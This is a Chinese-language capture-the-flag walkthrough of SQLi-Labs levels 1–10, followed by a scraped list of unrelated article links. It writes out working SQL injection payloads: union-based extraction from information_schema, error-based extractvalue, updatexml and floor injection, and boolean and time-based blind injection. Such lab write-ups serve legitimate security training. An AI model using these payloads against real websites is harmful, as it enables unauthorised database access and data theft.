当前位置: 首页 > news >正文

SQLi-Labs WP

SQLi-Labs WP

less 1 WP

题目中让我们给 id 输入一个数值,我们 GET 一个 id=1.

1

随后我们查询它的类型是否为数字型,用 ?id=1 and 1=2 来判断,然而页面依旧正常,可见这个是字符型。
然后我们查询它的闭合方式。
当我们 GET 一个 ?id=1' 时,他会给我们报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1,而 ?id=1" 时,页面还是正常的,那段错误是说在处理 ''1'' LIMIT 0,1' 时出现错误,我们在拆一下,会发现是在 '1'' LIMIT 0,1 出现错误,由此可见,闭合方式就是 '.
我们接下来使用 order by 来查询列数,使用二分法 ?id=1' order by 10 --+, ?id=1' order by 5 --+, ?id=1' order by 3 --+, ?id=1' order by 4 --+, 最终可以查询到列数为 4。
随后通过 select 来判断回显位。?id=0' union select 1, 2, 3 --+, 最终判断得到 2, 3 的位置是我们的回显位,随后我们查询表名、列名。
?id=0' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = database() --+
?id=0' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name = 'flag' --+
我们查到在当前数据库里有个名叫 flag 的表,但是表里有名为 id 和 flag 的两个列,那我们接下来直接查询 flag 里的所有信息即可。
?id=0' union select 1, flag, 3 from flag --+
然后我们就得到 flag 了。

2

less 2 WP

和 less 1 相比,这个从字符型变为了数字型,不用再判断闭合方式了,后续操作差不多。

3

less 3 WP

和 less 1 相比,闭合方式为 '), 修改一下闭合方式,其他的一样。
?id=0') union select 1, flag, 3 from flag --+

4

less 4 WP

和 less 1 相比,闭合方式为 "), 照旧……
?id=0") union select 1, flag, 3 from flag --+

5

less 5 WP

这次不一样了,我们 GET id = 1, 但页面却显示 You are in..........., 而且不管怎么折腾都没有变化,除了报错的时候。
先查是否为数字型,查询闭合方式为 ', 查询列数为 3。
利用错误命令 ?id=1' union select 1, 2, dadabase() --+, 查询到错误信息 FUNCTION security.dadabase does not exist, 由此得知数据库名为 security, 也可以通过 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select database()))) --+ 来得知数据库名为 security.(回显为 XPATH syntax error: '~security')
同理,用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 查询表名,用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='flag'))) --+ 查询列名,最终用 ?id=1' union select 1, 2, extractvalue(1, concat('~', (select flag from flag))) --+ 查询到 flag.

6

less 6 WP

还是先判断类型,在判断闭合方式,这次是 " 闭合,判断列数,随后我们用 updatexml 来注入。
?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database())), 3)--+ 查列名,?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(column_name) from information_schema.columns where table_name='flag')), 3)--+ 查表名,最后用 ?id=1" union select 1, 2, updatexml(1, concat('~', (select group_concat(flag) from flag)), 3)--+ 来查询 flag.

7

这个用 floor 注入也能做,只不过需要调整一下输出长度,用 substring 就可以。
?id=-1" union select 1, count(*), concat('~',substring((select flag from flag), 1, 45), floor(rand(0)*2)) as x from information_schema.tables group by x --+

less 7 WP

这次的闭合方式为 ')), 积累一下。
通过 ?id=1')) and 1=1--+?id=1')) and 1=2--+ 判断可以用布尔盲注。
利用布尔盲注的语句来判断数据库、表名、列名、flag,通过 substr 来控制输出。
?id=1')) and ascii(substr((select flag from flag), 1, 1))>=102--+
得到的数字为:

102
108
97
103
123
53
49
101
52
99
52
101
56
57
55
52
56
52
57
98
51
56
48
98
53
51
57
57
55
49
56
102
51
97
57
102
125

这边是结果 flag{51e4c4e8974849b380b5399718f3a9f}
我想说:手写布尔盲注真的不幽默………………

less 8 WP

可以用和 less 7 一样的布尔盲注。
……

less 9 WP

没有任何回显,通过 ?id=1' and sleep(10)--+ 判断可以使用时间盲注,闭合方式为 '.
?id=1' and if(ascii(substr((select flag from flag), 1, 1)) = 102, sleep(0), sleep(3)) --+
剩下的就是用布尔盲注来比大小……

less 10 WP

与 less 9 相比,闭合方式为 ",其他的都是一样的。
?id=1" and if(ascii(substr((select flag from flag), 1, 1) >= 100 ,sleep(0), sleep(3)) --+
然后就是布尔盲注比大小……

真的,手写布尔盲注一点也不好玩……

http://www.jsqmd.com/news/55872/

相关文章:

  • Linux服务器无ROOT权限编译安装WRFV3流程记录
  • 2025年质量好的处方粮年度热销品牌榜
  • 2025 年 11 月 AI 考证权威推荐榜:高效备考与实战认证的优选路径,助力职业发展新突破
  • 2025年热门的酒店皮革门/现代轻奢皮革门厂家最新实力排行
  • 2025打造雾森设备装置TOP5权威推荐:工业雾森设备系统深
  • 2025 年 GEO 推广服务商权威推荐榜:专业海外市场拓展与精准引流解决方案深度解析
  • 2025年正规的测力称重变送器实力厂家TOP推荐榜
  • 2025年质量好的小户型家庭厨房收纳/垃圾桶厨房收纳权威热评精选榜
  • 2025年知名的珠宝衣帽间收纳热门款式口碑榜
  • 2025年热门的减速机维修厂家推荐及选购参考榜
  • 2025 年 11 月 GEO 源头厂家最新推荐榜单:地理空间数据与遥感技术实力派品牌精选
  • 2025 年 11 月企业 AI 培训实力机构权威推荐榜:前沿课程定制与实战赋能,助力企业智能化转型加速落地
  • 2025年知名的中空板厂家推荐及选择参考
  • 2025年靠谱的工业净化铝材/无尘车间净化铝材厂家最新推荐权威榜
  • 【C編程】Python調用C
  • 2025年比较好的大管径熔盐缩管机/毛细管缩管机厂家最新推荐权威榜
  • 2025 年 11 月 GEO 贴牌厂家实力推荐榜:专业 OEM/ODM 定制工厂,覆盖电子数码、智能穿戴及美妆个护领域的创新合作之选
  • 开发-视频播放
  • 2025年十11月自动化厂家排行榜对比评价:五大优选品牌深度解析与选购指南
  • Vue3基础知识汇总与实战指南 - 教程
  • 2025年热门的牵引耙/拖拉机圆盘耙TOP品牌厂家排行榜
  • 2025年热门的双缓冲三节轨厂家推荐及选购指南
  • 2025年口碑好的行星减速器/蜗杆减速器TOP实力厂家推荐榜
  • 2025 年 11 月智能体平台权威推荐榜:AI 智能体、企业智能体、多模态智能体,高效智能体系统与创新应用深度解析
  • 2025年知名的卸油扫仓转子泵/抢险救灾转子泵用户口碑最好的厂家榜
  • 物联网(IoT)的结构与挑战
  • 2025年口碑好的耐硝酸涂层/耐甲酸涂层TOP品牌厂家排行榜
  • 2025年液压龙门剪十大靠谱供应商推荐,液压龙门剪专业制造商
  • 2025年比较好的Parker激光切割机头过滤器/激光切割机头精密过滤器厂家最新用户好评榜
  • 2025年知名的化工重防腐涂料/电镀重防腐涂料最新TOP厂家排名